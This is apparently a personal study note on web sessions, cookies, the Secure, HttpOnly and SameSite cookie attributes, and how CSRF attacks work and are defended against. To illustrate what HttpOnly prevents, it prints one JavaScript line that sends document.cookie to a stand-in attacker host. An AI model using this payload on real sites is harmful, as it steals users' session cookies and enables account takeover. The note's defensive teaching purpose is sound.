Cookie and Session

This article is to record my learning about the Cookie and the Session on the development of web application.

Session

A sessions is a way to store user information across multiple pages or visits to a website. It allows the server to identify the user and maintain their status, such as login status or preferences.
Session data is typically stored on the server, and a unique identifier (session ID) is sent to the client browser to connect the user to their session.

Cookies

A cookie is a small piece of data that a website stores on a user's browser. Used to track user activity, store information such as preferences, and maintain state between sessions.

How we check the cookie:

1. go to dev tool
2. ckeck the application
3. the we can see the cookies

Practical applications of cookies

• Shopping cart for e-commerce websites
• Browsing history
• Login information
  

Cookies have three defense mechanisms

Secure

Restrict requests to be sent via https

HttpOnly:

Prevent XSS (Cross-site scripting attacks)

// Send your cookie to the bad guy's server
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

SameSite

The function of Samesite is to prevent cookies from being transmitted across sites, which can help avoid CSRF (Cross-Site Request Forgery) attack.

There are three settings for SameSite

• Strict: Only the request header sent by the browser from the first party (this site) will carry cookies, and other parties will not
• Lax: The cookie will have looser restrictions than strict. The browser will not carry the lax cookie when sending cross-domain requests, except for GET requests directed to the target URL
• None : It allows to third-party to access the cookies. However, when this setting requires secure attribute activated, according to Google Chrome policy.

Overall, this is to prevent attackers from using fake websites to send forms to you, allowing you to send requests by encapsulating correct cookies.

Additional info about the CSRF

When the user is logged in, the evil guy pretend to be the user to perform malicious operations, such as transferring money from the victim's bank to the attacker's own account.

Example:

• Assume that the website containing the user's sensitive information is called Xbank.com After the user successfully logs in to Xbank.com, he will receive an encrypted cookie representing his identity, subsequent requests will carry this cookie. Because the cookie is encrypted and cannot be easily forged, the server can authenticate that the request comes from the user himself, and will also agree to his sensitive operations such as transfers.
• The bad guys let the user accidentally enter the bad guy's website through phishing letters and other methods. The webpage contains a short code to send a form, and the money to be transferred to Xbank.com is transferred to the bad guy's account.

Regarding how to defend against CSRF attacks, you can include csrf_token in the form. Detailed implementation steps will be followed by a separate article.